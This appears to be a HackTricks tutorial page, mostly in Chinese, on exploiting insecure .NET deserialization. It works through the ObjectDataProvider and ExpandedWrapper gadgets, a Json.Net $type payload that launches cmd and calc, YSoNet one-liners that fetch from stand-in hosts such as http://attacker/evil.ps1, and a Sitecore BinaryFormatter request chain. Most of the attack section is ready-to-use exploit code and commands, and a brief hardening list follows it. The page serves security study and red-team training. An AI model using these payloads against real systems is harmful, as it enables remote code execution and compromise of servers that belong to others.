基础 .Net 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本文旨在讲解 如何利用 gadget ObjectDataProvider 被利用 来获得 RCE,以及 如何滥用序列化库 Json.Net 和 xmlSerializer 与该 gadget 配合。
ObjectDataProvider Gadget
根据文档:the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
是的,这个解释有点奇怪,我们来看一下这个类有什么有趣的地方:该类允许 封装任意对象(wrap an arbitrary object),使用 MethodParameters 来 设置任意参数(set arbitrary parameters),然后使用 MethodName 调用该任意对象的任意函数(使用上述任意参数)。
因此,该任意 对象 在被反序列化时会 执行 一个带有 参数 的 方法。
这是如何实现的
System.Windows.Data 命名空间(位于 PresentationFramework.dll 的 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF)是定义和实现 ObjectDataProvider 的地方。
使用 dnSpy 你可以 查看我们感兴趣的类的代码。下面的图片显示了 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name 的代码:
.png)
如你所见,当设置 MethodName 时会调用 base.Refresh(),我们来看看它做了什么:
.png)
接着看看 this.BeginQuery() 做了什么。BeginQuery 在 ObjectDataProvider 中被重写,下面是它的实现:
.png)
注意在代码的最后它调用了 this.QueryWorke(null)。我们来看那会执行什么:
.png)
注意这并不是 QueryWorker 函数的完整代码,但它展示了有趣的部分:代码 调用了 this.InvokeMethodOnInstance(out ex);,这就是执行所设置方法的那一行。
如果你想验证仅设置 MethodName 就会被执行,你可以运行下面的代码:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
使用先前的 exploit 时,可能会出现这样的情况:object 会被 反序列化为 一个 ObjectDataProvider 实例(例如在 DotNetNuke vuln 中,使用 XmlSerializer 时,对象是通过 GetType 反序列化的)。在这种情况下,将不知道被封装在 ObjectDataProvider 实例中的对象类型(例如 Process)。你可以在关于 DotNetNuke vuln 的更多信息中找到参考资料。
这个类允许指定给定实例中被封装对象的对象类型。因此,这个类可以用来将一个源对象(ObjectDataProvider)封装成一个新的对象类型,并提供我们需要的属性(ObjectDataProvider.MethodName 和 ObjectDataProvider.MethodParameters)。
这对于前面展示的情况非常有用,因为我们将能够 包装 _ObjectDataProvider** 到一个 **ExpandedWrapper _ 实例内,并且 反序列化时 这个类会 创建 OjectDataProvider 对象,该对象会 执行 在 MethodName 中指定的 函数。
你可以用下面的代码检查这个 wrapper:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.
Json.Net 示例
首先,让我们看一个使用该库序列化/反序列化对象的示例:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
滥用 Json.Net
使用 ysoserial.net 我创建了 exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
在这段代码中你可以 test the exploit,只需运行它,你将看到 calc 被执行:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
高级 .NET Gadget Chains (YSoNet & ysoserial.net)
上文介绍的 ObjectDataProvider + ExpandedWrapper 技巧只是当应用进行 不安全的 .NET 反序列化 时可被滥用的众多 gadget chains 之一。现代红队工具,例如 YSoNet(以及较旧的 ysoserial.net)会自动生成针对数十种 gadget 和序列化格式的可直接使用的恶意对象图。
下面是随 YSoNet 一起提供的最有用链的精简参考,包含它们的工作原理简要说明以及生成 payload 的示例命令。
| Gadget Chain | 关键思路 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|---|---|---|---|
| TypeConfuseDelegate | 破坏 DelegateSerializationHolder 记录,使其在物化后,委托指向攻击者提供的任意方法(例如 Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | 滥用 System.Workflow.ComponentModel.ActivitySurrogateSelector 来绕过 .NET ≥4.8 的类型过滤,并直接调用指定类的构造函数或动态编译 C# 文件 | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | 利用 System.Data.DataSet 的旧版 XML 表示,通过填充 <ColumnMapping> / <DataType> 字段来实例化任意类型(可选地使用 --spoofedAssembly 伪装程序集) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | 在启用 WPF 的运行时(> .NET 5)上,链式调用属性 getter 直到到达 System.CodeDom.Compiler.CompilerResults,然后编译或加载使用 -c 提供的 DLL | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | 使用 WPF 的 System.Windows.Data.ObjectDataProvider 调用带有可控参数的任意静态方法。YSoNet 添加了便捷的 --xamlurl 选项以远程托管恶意 XAML | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | 在 System.Management.Automation.PSObject 中嵌入 ScriptBlock,当 PowerShell 反序列化该对象时执行 | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
所有 payload 默认输出到 stdout,因此可以轻松通过管道传递到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
构建 / 安装 YSoNet
如果在 Actions ➜ Artifacts / Releases 下没有可用的预编译二进制文件,下面的 PowerShell 一行命令会设置构建环境、克隆仓库并以 Release 模式编译所有内容:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
编译后的 ysonet.exe 可以在 ysonet/bin/Release/ 下找到。
检测与加固
- Detect 意外的
w3wp.exe、PowerShell.exe或任何反序列化用户提供数据的进程(例如MessagePack,Json.NET)。 - 在无法移除遗留的
BinaryFormatter/NetDataContractSerializer时,启用并 enforce type-filtering(TypeFilterLevel= Full,自定义SurrogateSelector、SerializationBinder等)。 - 在可能的情况下迁移到
System.Text.Json或DataContractJsonSerializer并使用基于白名单的转换器。 - 阻止危险的 WPF 程序集(
PresentationFramework、System.Workflow.*)在不需要它们的 web 进程中加载。
真实世界 sink: Sitecore convertToRuntimeHtml → BinaryFormatter
在经过身份验证的 Sitecore XP Content Editor 流程中可到达的一个实用的 .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)封装了new BinaryFormatter().Deserialize(...)。 - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls,其会搜索具有id="{iframeId}_inner"的同级元素,并读取一个value属性,该属性被视为 base64 编码的序列化数据。结果被转换为字符串并插入到 HTML 中。
最小端到端(已认证):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: 任何返回 string 的 BinaryFormatter 链(在反序列化期间会执行副作用)。查看 YSoNet/ysoserial.net 以生成 payloads。
对于一条完整链,起始于 Sitecore 的 pre‑auth HTML cache poisoning,并最终到达此 sink:
参考资料
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks